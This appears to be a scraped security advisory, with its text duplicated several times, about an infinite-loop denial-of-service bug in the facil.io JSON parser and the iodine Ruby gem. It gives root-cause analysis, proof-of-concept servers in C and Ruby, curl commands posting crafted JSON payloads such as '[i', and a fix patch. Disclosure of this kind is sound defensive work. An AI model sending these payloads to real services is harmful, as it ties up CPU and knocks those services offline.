facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Feb 28, 2021

0.7.43 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Nov 03, 2020

0.7.42 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Aug 02, 2020

0.7.41 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

